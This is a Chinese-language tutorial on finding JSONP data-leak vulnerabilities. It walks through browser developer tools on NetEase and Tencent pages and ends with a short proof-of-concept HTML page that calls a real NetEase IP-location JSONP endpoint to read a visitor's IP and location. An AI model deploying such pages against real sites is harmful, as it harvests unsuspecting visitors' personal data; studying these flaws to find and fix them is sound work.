jsonp漏洞挖掘
Jsonp(JSON with Padding) ,可以让网页从别的域名(网站)那获取资料,即跨域读取数据。他通过设定一个script标签,定义一个callback函数名并传入服务端,服务端调用该函数返回指定数据
JSONP漏洞与其他漏洞对比
- xss漏洞劫持用户的cookie伪造登陆。
- csrf伪造用户的操作欺诈服务器端进行敏感操作。
- JSONP利用callback函数得到用户的敏感信息。
相同点:上述三个漏洞都需要用户登录网站的cookie。
不同点:xss和csrf对于用户来讲都有着更大的危害。但同时,这两个漏洞的发掘也是很不容易的,需要网站的源码中出现相关的代码漏洞,通常是网站的开发者不严谨造成的。而今天介绍的JSONP漏洞因为只涉及前端与后端的数据交换,所以没有所谓的漏洞注入点,所以危害性相对xss和csrf漏洞也小。
进行JSONP手动挖掘:
从实际出发,网易入手,先登录某网站博客的账号,这里我们在打开评论区让前端网页和服务端进行数据交互之前,先打开F12进入开发者模式,我们就可以看到所有前端与服务器端交互的数据。
可以看到request和response。点击network,设置过滤关键字为callback,刷新页面,得到了前端与服务端交互的jsonp链接。点击其中的一个链接,查看返回的jsonp对象的数据。
返回的数据为:nb.w.g.cbGetLoftJingxuan({“indexImgsRight”:[{“id”:1604910982058,“blogId”:0,“imageUrl”:“https://imglf3.lf127.net/img/bGlzMWo2T0pNY3FsempjUHhDbjl1dkJxZURPVmRPbW5zMmVMOEdnSStaanhXT05yRmUzN2VRPT0.jpg”,“time”:1604910982058,“pubisherId”:0,“publisherName”:null,“publisherNickName”:null,“smallImageUrl”:“https://imglf3.lf127.net/img/bGlzMWo2T0pNY3FsempjUHhDbjl1dkJxZURPVmRPbW5zMmVMOEdnSStaanhXT05yRmUzN2VRPT0.jpg?imageView&thumbnail=164x164&quality=96&stripmeta=0&type=jpg”,“blogNewAddImageUrl_115_115”:“https://imglf3.lf127.net/img/bGlzMWo2T0pNY3FsempjUHhDbjl1dkJxZURPVmRPbW5zMmVMOEdnSStaanhXT05yRmUzN2VRPT0.jpg?imageView&thumbnail=115x115&quality=96&stripmeta=0&type=jpg”,“blogNewAddImageUrl_240_150”:“https://imglf3.lf127.net/img/bGlzMWo2T0pNY3FsempjUHhDbjl1dkJxZURPVmRPbW5zMmVMOEdnSStaanhXT05yRmUzN2VRPT0.jpg?imageView&thumbnail=240x150&quality=96&stripmeta=0&type=jpg”,“title”:“”,“permalink”:“d7b61_11ac8bf”,“link”:“http://hanyijie.lofter.com/post/d7b61_11ac8bf”},(截取了数据其中的一段)
发现返回的JSONP数据是与图片相关的一些信息。
由于该网站的博客用户注册功能关闭,所以转到网易首页,同样F12并进行JSONP数据过滤。刷新网页,发现账户的图片地址,用户名,IP字段。
思考:
到底在哪里会通过JSONP传递敏感信息呢?(敏感信息包括用户的账号,手机号,QQ号,密码,邮箱等。)
F12进行网上冲浪。多关注一些敏感数据交互的页面
发现漏洞
在网易,腾讯的各种业务界面寻摸了良久,发现某游戏通过某方式登录会通过JSONP泄露信息,某网站有的页面会泄露邮箱信息,另外还有的页面,通过callback参数,直接返回了IP地址和IP所在地的消息。这样,我们只需要搭建一个网站,在网站里写上js代码,跳转到jsonp的链接,就可以直接获得浏览网站用户的各种信息。这些获得的信息就是JSONP漏洞的价值,虽然不像XSS和CSRF漏洞那样,但是他的挖掘门槛相对来说低一些。另外,他的价值还不止于此。
这里给出我挖倔的JSONP漏洞使用图:
ip地址泄露:
QQ号泄露:
给出JSONP漏洞利用代码:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>JSONP暴露ip</title>
</head>
<body>
<script type="text/javascript">
function ip_callback(result)
{
alert(result.result.country);
alert(result.result.province);
alert(result.result.city);
alert(result.result.ip);
}
</script>
<script type="text/javascript" src="https://ipservice.ws.126.net/locate/api/getLocByIp?callback=ip_callback"></script>
</body>
</html>
总结
JSONP的手动挖掘相对困难,要多以网站的角度去思考在哪些地方会传输用户的敏感数据。这样会使漏洞的发掘更加轻松。